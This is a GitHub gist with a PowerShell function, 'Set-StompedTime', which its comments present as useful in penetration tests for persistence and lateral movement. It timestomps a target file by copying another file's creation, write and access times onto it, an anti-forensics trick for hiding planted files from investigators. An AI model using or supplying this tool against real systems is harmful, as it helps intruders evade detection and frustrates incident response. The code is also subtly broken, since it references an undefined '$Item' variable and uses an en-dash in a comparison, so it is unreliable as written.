Skip to content

Instantly share code, notes, and snippets.

@zaneGittins
Last active August 5, 2019 21:20
Show Gist options
  • Save zaneGittins/4d87bd62ede0a2f0249506865207a889 to your computer and use it in GitHub Desktop.
Save zaneGittins/4d87bd62ede0a2f0249506865207a889 to your computer and use it in GitHub Desktop.
StompTime
# Author: (@ZGittins, https://github.com/zaneGittins)
# Useful PowerShell cmdlet for penetration tests which involve maintaining persistence & lateral movement.
# This script uses a reference file - Why? It is easy to flag a file as an anomoly if all the nanoseconds are zero'd out.
function Set-StompedTime {
[CmdletBinding()]
param([Parameter(Mandatory=$true)][string]$TargetPath)
$TargetFile = Get-Item $TargetPath
$ParentDirectory = $Item.Parent
$SiblingFiles = Get-Childitem $ParentDirectory
$SiblingFiles = $SiblingFiles | Where-Object { $_ –ne $TargetFile }
$ChosenSibling = Get-Random -InputObject $SiblingFiles
$TargetFile.LastWriteTime = $ChosenSibling.LastWriteTime
$TargetFile.LastAccessTime = $ChosenSibling.LastAccessTime
$TargetFile.CreationTime = $ChosenSibling.CreationTime
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment